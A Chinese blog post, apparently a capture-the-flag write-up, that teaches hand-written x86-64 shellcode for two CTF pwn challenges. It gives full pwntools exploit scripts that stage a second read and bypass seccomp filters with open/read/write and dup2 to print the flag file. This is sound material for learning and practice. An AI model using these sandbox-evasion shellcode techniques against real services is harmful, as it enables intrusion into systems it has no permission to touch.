how2手写shellcode

本文详细介绍了如何在限制条件下手写shellcode,包括使用asm指令,避开沙箱限制,以及动态调试策略,以实现对程序的控制和获取flag。
摘要由CSDN通过智能技术生成

how2手写shellcode

羊城杯shellcode怎么写都绕不过,痛定思痛决定好好学一下怎么手写shellcode

本文通过例题介绍一下如何手写shellcode来实现我们想要的功能,对于使用工具主动生成shellcode就不再赘述

hgame2023-simple_shellcode

保护全开,沙箱禁system
在这里插入图片描述在这里插入图片描述在这里插入图片描述

存在可写可执行段,可以构造shellcode送入此处,但read只能读入0x10大小
在这里插入图片描述

由于程序只执行一次,且可利用空间较小无法构造orw,所以构造read(0,0xcafe0000,0x1000)

下面再读入构造的orw
在这里插入图片描述

sc = asm(‘’’
xor eax, eax
xor edi, edi
mov edx, 0x1000
mov esi, 0xcafe0000
syscall
‘’')
#syscall(0,0,0xcafe0000,0x1000)
在这里插入图片描述

exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
#from ae64 import AE64
#from LibcSearcher import *

context.os = ‘linux’
context.arch = ‘amd64’
#context.arch = ‘i386’
context.log_level = “debug”

name = ‘./vuln’

debug = 0
if debug:
p = remote(‘127.0.0.1’,9999)
else:
p = process(name)

#libcso = ‘/lib/x86_64-linux-gnu/libc.so.6’
libcso = ‘./libc-2.31.so’
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b’\x00’))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b’\x00’))
leak = lambda name,addr :log.success(‘{} = {:#x}’.format(name, addr))
l64 = lambda :u64(p.recvuntil(“\x7f”)[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil(“\xf7”)[-4:].ljust(4,b"\x00"))
li = lambda x : print(‘\x1b[01;38;5;214m’ + x + ‘\x1b[0m’)
ll = lambda x : print(‘\x1b[01;38;5;1m’ + x + ‘\x1b[0m’)
context.terminal = [‘gnome-terminal’,‘-x’,‘sh’,‘-c’]

def dbg():
gdb.attach(proc.pidof§[0])
pause()

sc = asm(‘’’
xor eax, eax
xor edi, edi
mov edx, 0x1000
mov esi, 0xcafe0000
syscall
‘’')
ru(b"shellcode:")
dbg()
s(sc)

shellcode = b"\x90" * 0x100
shellcode += asm(shellcraft.open(“/flag”))
shellcode += asm(shellcraft.read(3, 0xCAFE0500, 0x500))
shellcode += asm(shellcraft.write(1, 0xCAFE0500, 0x500))

p.send(shellcode)

itr()

羊城杯2023-shellcode

静态分析:
在这里插入图片描述

主函数:
在这里插入图片描述

进入分支

在这里插入图片描述

程序对读入的内容进行限制,要求输入字符十六进制ascii码在0x79-0x95​之间,即OPQRSTUVWXYZ[]^_​

在这里插入图片描述

同时检查 v4​ 相对于 s​ 数组的偏移是否等于16字节,不过可以多写一位,即输入内容限制在17字节大小
在这里插入图片描述

我们可以看到启动沙箱后会去执行我们写入的内容
在这里插入图片描述

0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000021 if (A == dup2) goto 0019
0007: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0013
0008: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0009: 0x25 0x0a 0x00 0x00000000 if (A > 0x0) goto 0020
0010: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0019
0011: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0012: 0x25 0x07 0x06 0x00000002 if (A > 0x2) goto 0020 else goto 0019
0013: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0020
0014: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0015: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0019
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0018: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
stack段可写可执行,但对shellcode的限制相当大

在这里插入图片描述

首先要绕过if判断,17字节大小内的shellcode显然不够,我们还需要进一步续写shellcode并能绕过沙箱去读到flag

动态调试:
ru(b’[2] Input: (ye / no)\n’)
s(asm(‘syscall’))
在这里插入图片描述

绕过if判断进入分支同时写入syscall

在这里插入图片描述在这里插入图片描述

编写shellcode设置寄存器,构造一次read,利用传入的syscall(x05x0f)作为read的rdx参数

最终构造好syscall(0,0,syscall_addr,0x50f)全部参数后跳转到syscall地址处进行系统调用来续写,并继续执行

push rbx #rsp 0;start_addr-0x8 (start0x2478)
pop rax #1 rax 0;start_addr
pop rsi #+8
pop rsi #+8

pop rsi #2 三次pop赋rsi start+0x68 <- 0x50f;start_addr+0x18
push rax #rsp 0;start_addr+0x10
pop rdi #3 rdi 0
pop rdx #+8

push rsi #rsp start+0x68 <- 0x50f;start_addr+0x18
pop rsp #rsp start+0x68 <- 0x50f;start+0x68
pop rdx #4 rdx 0x50f
push rdx #start+0x68

push rsi #start+0x68-0x8
push rax #-8
pop rax #+8
push rsi #rsp start+0x68<-0x50f;start+0x68-0x10

ret #start+0x68 syscall

#syscall(0,0,start+0x68,0x50f)
绕过沙箱orw+dup2:
sc1 = asm(‘’’
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 0x2
pop rax
syscall
mov rax,0x21
mov rdi,0x3
mov rsi,0x2
syscall
xor rax,rax
mov rsi,rsp
push 0x2
pop rdi
mov rdx,0x30
syscall
mov rax,0x21
mov rdi,0x1
mov rsi,0x5
syscall
mov rax,0x1
mov rsi,rsp
mov rdi,0x5
syscall
‘’‘)
s(b’aa’+sc1)
补两字节对齐
在这里插入图片描述

open(‘flag’)
在这里插入图片描述

dup2(3,2)
在这里插入图片描述

read(2,‘flag’,0x30)

在这里插入图片描述

dup2(1,5)

在这里插入图片描述

write(5,start+0x58,0x30)

exp:

encoding = utf-8

from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64

from ae64 import AE64

from LibcSearcher import *

context.os = ‘linux’
context.arch = ‘amd64’

context.arch = ‘i386’

context.log_level = “debug”

name = ‘./pwn’

debug = 0
if debug:
p = remote(‘127.0.0.1’,8000)
else:
p = process(name)

libcso = ‘/lib/x86_64-linux-gnu/libc.so.6’
#libcso = ‘./libc-2.31.so’
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b’\x00’))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b’\x00’))
leak = lambda name,addr :log.success(‘{} = {:#x}’.format(name, addr))
l64 = lambda :u64(p.recvuntil(“\x7f”)[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil(“\xf7”)[-4:].ljust(4,b"\x00"))

context.terminal = [‘gnome-terminal’,‘-x’,‘sh’,‘-c’]

def dbg():
gdb.attach(proc.pidof§[0])
pause()

ru(b’[2] Input: (ye / no)\n’)
s(asm(‘syscall’))

ru(b’======\n’)

sc0=asm(‘’’
push rbx
pop rax
pop rsi
pop rsi
pop rsi
push rax
pop rdi
pop rdx
push rsi
pop rsp
pop rdx
push rdx
push rsi
push rax
pop rax
push rsi
ret
‘’')
#dbg()
s(sc0)

sc1 = asm(‘’’
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 0x2
pop rax
syscall
mov rax,0x21
mov rdi,0x3
mov rsi,0x2
syscall
xor rax,rax
mov rsi,rsp
push 0x2
pop rdi
mov rdx,0x30
syscall
mov rax,0x21
mov rdi,0x1
mov rsi,0x5
syscall
mov rax,0x1
mov rsi,rsp
mov rdi,0x5
syscall
‘’‘)
pause()
s(b’aa’+sc1)

itr()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值